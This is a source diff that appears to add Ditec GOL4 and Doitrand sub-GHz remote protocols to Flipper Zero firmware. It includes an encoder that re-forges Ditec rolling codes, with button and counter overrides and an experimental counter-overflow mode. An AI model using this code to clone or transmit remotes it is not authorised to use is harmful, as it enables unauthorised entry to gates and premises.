+    instance->btn = subghz_protocol_ditec_gol4_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->btn);
+
+    // Check for OFEX (overflow experimental) mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                instance->cnt = 0;
+            } else {
+                instance->cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+    } else {
+        if((instance->cnt + 0x1) > 0xFFFF) {
+            instance->cnt = 0;
+        } else if(instance->cnt >= 0x1 && instance->cnt != 0xFFFE) {
+            instance->cnt = 0xFFFE;
+        } else {
+            instance->cnt++;
+        }
+    }
+
+    decrypted[0] = (uint8_t)((instance->serial >> 24) & 0xFF);
+    decrypted[4] = (uint8_t)((instance->serial >> 16) & 0xFF);
+    decrypted[1] = (uint8_t)((instance->serial >> 8) & 0xFF);
+    decrypted[3] = (uint8_t)(instance->serial & 0xFF);
+    decrypted[2] = (uint8_t)(instance->btn & 0x0F);
+
+    uint16_t counter = (uint16_t)(instance->cnt & 0xFFFF);
+    decrypted[5] = (uint8_t)(counter & 0xFF);
+    decrypted[6] = (uint8_t)((counter >> 8) & 0xFF);
+
+    gol4_rolling_encode(decrypted);
+
+    uint8_t bits[subghz_protocol_ditec_gol4_const.min_count_bit_for_found];
+    raw_to_bits(decrypted, bits);
+    instance->data = bits_to_data(bits);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_ditec_gol4_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDitecGOL4* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_ditec_gol4_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional parameter
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_ditec_gol4_decode_key(&instance->generic);
+        subghz_protocol_ditec_gol4_encode_key(&instance->generic);
+        subghz_protocol_encoder_ditec_gol4_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to update Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_ditec_gol4_stop(void* context) {
+    SubGhzProtocolEncoderDitecGOL4* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_ditec_gol4_yield(void* context) {
+    SubGhzProtocolEncoderDitecGOL4* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_ditec_gol4_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderDitecGOL4* instance = malloc(sizeof(SubGhzProtocolDecoderDitecGOL4));
+    instance->base.protocol = &subghz_protocol_ditec_gol4;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_ditec_gol4_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDitecGOL4* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_ditec_gol4_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDitecGOL4* instance = context;
+    instance->decoder.parser_step = DitecGOL4DecoderStepReset;
+}
+
+void subghz_protocol_decoder_ditec_gol4_feed(void* context, bool level, uint32_t duration) {
+    furi_check(context);
+    SubGhzProtocolDecoderDitecGOL4* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case DitecGOL4DecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_ditec_gol4_const.te_long * 22) <
+                        (subghz_protocol_ditec_gol4_const.te_long * 4))) {
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = DitecGOL4DecoderStepStartBit;
+        }
+        break;
+
+    case DitecGOL4DecoderStepStartBit:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_ditec_gol4_const.te_short * 2) <
+                       subghz_protocol_ditec_gol4_const.te_delta)) {
+            instance->decoder.parser_step = DitecGOL4DecoderStepSaveDuration;
+        } else {
+            instance->decoder.parser_step = DitecGOL4DecoderStepReset;
+        }
+        break;
+
+    case DitecGOL4DecoderStepSaveDuration:
+        if(!level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = DitecGOL4DecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = DitecGOL4DecoderStepReset;
+        }
+        break;
+
+    case DitecGOL4DecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_ditec_gol4_const.te_short) <
+                subghz_protocol_ditec_gol4_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_ditec_gol4_const.te_long) <
+                subghz_protocol_ditec_gol4_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = DitecGOL4DecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_ditec_gol4_const.te_long) <
+                 subghz_protocol_ditec_gol4_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_ditec_gol4_const.te_short) <
+                 subghz_protocol_ditec_gol4_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = DitecGOL4DecoderStepSaveDuration;
+            }
+        } else {
+            if(DURATION_DIFF(
+                   instance->decoder.te_last, subghz_protocol_ditec_gol4_const.te_long * 20) <
+               (subghz_protocol_ditec_gol4_const.te_long * 3)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_ditec_gol4_const.min_count_bit_for_found) {
+                    // 54 bits received, save and continue
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit =
+                        subghz_protocol_ditec_gol4_const.min_count_bit_for_found;
+
+                    if(instance->base.callback) {
+                        instance->base.callback(&instance->base, instance->base.context);
+                    }
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = DitecGOL4DecoderStepReset;
+            } else {
+                instance->decoder.parser_step = DitecGOL4DecoderStepReset;
+            }
+        }
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_ditec_gol4_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDitecGOL4* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_ditec_gol4_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDitecGOL4* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_ditec_gol4_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDitecGOL4* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_ditec_gol4_const.min_count_bit_for_found);
+}
+
+bool subghz_protocol_ditec_gol4_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDitecGOL4* instance = context;
+    instance->generic.btn = btn;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->generic.data_count_bit = subghz_protocol_ditec_gol4_const.min_count_bit_for_found;
+
+    subghz_protocol_ditec_gol4_encode_key(&instance->generic);
+
+    return SubGhzProtocolStatusOk ==
+           subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+static uint8_t subghz_protocol_ditec_gol4_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+        case 0x0:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = 0x4;
+            break;
+        case 0x0:
+            btn = 0x4;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+        case 0x0:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_RIGHT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x0;
+            break;
+        case 0x2:
+            btn = 0x0;
+            break;
+        case 0x4:
+            btn = 0x0;
+            break;
+        case 0x8:
+            btn = 0x0;
+            break;
+        case 0x0:
+            btn = 0x8;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+void subghz_protocol_decoder_ditec_gol4_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDitecGOL4* instance = context;
+
+    subghz_protocol_ditec_gol4_decode_key(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.cnt_is_available = true;
+    subghz_block_generic_global.cnt_length_bit = 16;
+    subghz_block_generic_global.current_cnt = instance->generic.cnt;
+
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key:0x%0lX%08lX\r\n"
+        "Serial:0x%08lX\r\n"
+        "Btn:%01X %s\r\n"
+        "Cnt:%04lX",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        instance->generic.btn,
+        (instance->generic.btn == 0x0) ? "- Prog" : "",
+        instance->generic.cnt);
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/ditec_gol4.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/ditec_gol4.h
new file mode 100644
index 000000000..e45e1d73c
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/ditec_gol4.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_DITEC_GOL4_NAME "Ditec GOL4"
+
+typedef struct SubGhzProtocolDecoderDitecGOL4 SubGhzProtocolDecoderDitecGOL4;
+typedef struct SubGhzProtocolEncoderDitecGOL4 SubGhzProtocolEncoderDitecGOL4;
+
+extern const SubGhzProtocolDecoder subghz_protocol_ditec_gol4_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_ditec_gol4_encoder;
+extern const SubGhzProtocol subghz_protocol_ditec_gol4;
+
+/**
+ * Allocate SubGhzProtocolEncoderDitecGOL4.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderDitecGOL4* pointer to a SubGhzProtocolEncoderDitecGOL4 instance
+ */
+void* subghz_protocol_encoder_ditec_gol4_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderDitecGOL4.
+ * @param context Pointer to a SubGhzProtocolEncoderDitecGOL4 instance
+ */
+void subghz_protocol_encoder_ditec_gol4_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderDitecGOL4 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_ditec_gol4_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderDitecGOL4 instance
+ */
+void subghz_protocol_encoder_ditec_gol4_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderDitecGOL4 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_ditec_gol4_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderDitecGOL4.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderDitecGOL4* pointer to a SubGhzProtocolDecoderDitecGOL4 instance
+ */
+void* subghz_protocol_decoder_ditec_gol4_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderDitecGOL4.
+ * @param context Pointer to a SubGhzProtocolDecoderDitecGOL4 instance
+ */
+void subghz_protocol_decoder_ditec_gol4_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderDitecGOL4.
+ * @param context Pointer to a SubGhzProtocolDecoderDitecGOL4 instance
+ */
+void subghz_protocol_decoder_ditec_gol4_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderDitecGOL4 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_ditec_gol4_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderDitecGOL4 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_ditec_gol4_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderDitecGOL4.
+ * @param context Pointer to a SubGhzProtocolDecoderDitecGOL4 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_ditec_gol4_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderDitecGOL4.
+ * @param context Pointer to a SubGhzProtocolDecoderDitecGOL4 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_ditec_gol4_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderDitecGOL4 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_ditec_gol4_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/doitrand.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/doitrand.c
new file mode 100644
index 000000000..1853bd16f
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/doitrand.c
@@ -0,0 +1,355 @@
+#include "doitrand.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolDoitrand"
+
+#define DIP_PATTERN "%c%c%c%c%c%c%c%c%c%c"
+#define CNT_TO_DIP(dip)                                                                     \
+    (dip & 0x0001 ? '1' : '0'), (dip & 0x0100 ? '1' : '0'), (dip & 0x0080 ? '1' : '0'),     \
+        (dip & 0x0040 ? '1' : '0'), (dip & 0x0020 ? '1' : '0'), (dip & 0x1000 ? '1' : '0'), \
+        (dip & 0x0800 ? '1' : '0'), (dip & 0x0400 ? '1' : '0'), (dip & 0x0200 ? '1' : '0'), \
+        (dip & 0x0002 ? '1' : '0')
+
+static const SubGhzBlockConst subghz_protocol_doitrand_const = {
+    .te_short = 400,
+    .te_long = 1100,
+    .te_delta = 150,
+    .min_count_bit_for_found = 37,
+};
+
+struct SubGhzProtocolDecoderDoitrand {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderDoitrand {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    DoitrandDecoderStepReset = 0,
+    DoitrandDecoderStepFoundStartBit,
+    DoitrandDecoderStepSaveDuration,
+    DoitrandDecoderStepCheckDuration,
+} DoitrandDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_doitrand_decoder = {
+    .alloc = subghz_protocol_decoder_doitrand_alloc,
+    .free = subghz_protocol_decoder_doitrand_free,
+
+    .feed = subghz_protocol_decoder_doitrand_feed,
+    .reset = subghz_protocol_decoder_doitrand_reset,
+
+    .get_hash_data = subghz_protocol_decoder_doitrand_get_hash_data,
+    .serialize = subghz_protocol_decoder_doitrand_serialize,
+    .deserialize = subghz_protocol_decoder_doitrand_deserialize,
+    .get_string = subghz_protocol_decoder_doitrand_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_doitrand_encoder = {
+    .alloc = subghz_protocol_encoder_doitrand_alloc,
+    .free = subghz_protocol_encoder_doitrand_free,
+
+    .deserialize = subghz_protocol_encoder_doitrand_deserialize,
+    .stop = subghz_protocol_encoder_doitrand_stop,
+    .yield = subghz_protocol_encoder_doitrand_yield,
+};
+
+const SubGhzProtocol subghz_protocol_doitrand = {
+    .name = SUBGHZ_PROTOCOL_DOITRAND_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_doitrand_decoder,
+    .encoder = &subghz_protocol_doitrand_encoder,
+};
+
+void* subghz_protocol_encoder_doitrand_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderDoitrand* instance = malloc(sizeof(SubGhzProtocolEncoderDoitrand));
+
+    instance->base.protocol = &subghz_protocol_doitrand;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_doitrand_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDoitrand* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderDoitrand instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_doitrand_get_upload(SubGhzProtocolEncoderDoitrand* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_short * 62);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_short * 2 - 100);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_doitrand_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_doitrand_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderDoitrand* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_doitrand_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_doitrand_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_doitrand_stop(void* context) {
+    SubGhzProtocolEncoderDoitrand* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_doitrand_yield(void* context) {
+    SubGhzProtocolEncoderDoitrand* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_doitrand_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderDoitrand* instance = malloc(sizeof(SubGhzProtocolDecoderDoitrand));
+    instance->base.protocol = &subghz_protocol_doitrand;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_doitrand_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_doitrand_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    instance->decoder.parser_step = DoitrandDecoderStepReset;
+}
+
+void subghz_protocol_decoder_doitrand_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case DoitrandDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_short * 62) <
+                        subghz_protocol_doitrand_const.te_delta * 30)) {
+            //Found Preambula
+            instance->decoder.parser_step = DoitrandDecoderStepFoundStartBit;
+        }
+        break;
+    case DoitrandDecoderStepFoundStartBit:
+        if(level && (DURATION_DIFF(duration, (subghz_protocol_doitrand_const.te_short * 2)) <
+                     subghz_protocol_doitrand_const.te_delta * 3)) {
+            //Found start bit
+            instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = DoitrandDecoderStepReset;
+        }
+        break;
+    case DoitrandDecoderStepSaveDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_doitrand_const.te_short * 10 +
+                            subghz_protocol_doitrand_const.te_delta)) {
+                instance->decoder.parser_step = DoitrandDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_doitrand_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = DoitrandDecoderStepCheckDuration;
+            }
+        }
+        break;
+    case DoitrandDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_doitrand_const.te_short) <
+                subghz_protocol_doitrand_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_long) <
+                subghz_protocol_doitrand_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_doitrand_const.te_long) <
+                 subghz_protocol_doitrand_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_doitrand_const.te_short) <
+                 subghz_protocol_doitrand_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = DoitrandDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = DoitrandDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = DoitrandDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_doitrand_check_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+*               67892345   0      k    1                    
+* 0000082F5F => 00000000000000000 10 000010111101011111 
+* 0002082F5F => 00000000000100000 10 000010111101011111
+* 0200082F5F => 00010000000000000 10 000010111101011111
+* 0400082F5F => 00100000000000000 10 000010111101011111
+* 0800082F5F => 01000000000000000 10 000010111101011111
+* 1000082F5F => 10000000000000000 10 000010111101011111
+* 0020082F5F => 00000001000000000 10 000010111101011111
+* 0040082F5F => 00000010000000000 10 000010111101011111
+* 0080082F5F => 00000100000000000 10 000010111101011111
+* 0100082F5F => 00001000000000000 10 000010111101011111
+* 000008AF5F => 00000000000000000 10 001010111101011111
+* 1FE208AF5F => 11111111000100000 10 001010111101011111
+*
+* 0...9 - DIP
+* k- KEY
+*/
+    instance->cnt = (instance->data >> 24) | ((instance->data >> 15) & 0x1);
+    instance->btn = ((instance->data >> 18) & 0x3);
+}
+
+uint8_t subghz_protocol_decoder_doitrand_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_doitrand_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_doitrand_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic,
+        flipper_format,
+        subghz_protocol_doitrand_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_doitrand_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderDoitrand* instance = context;
+    subghz_protocol_doitrand_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 2;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:%02lX%08lX\r\n"
+        "Btn:%X\r\n"
+        "DIP:" DIP_PATTERN "\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32) & 0xFFFFFFFF,
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.btn,
+        CNT_TO_DIP(instance->generic.cnt));
+}
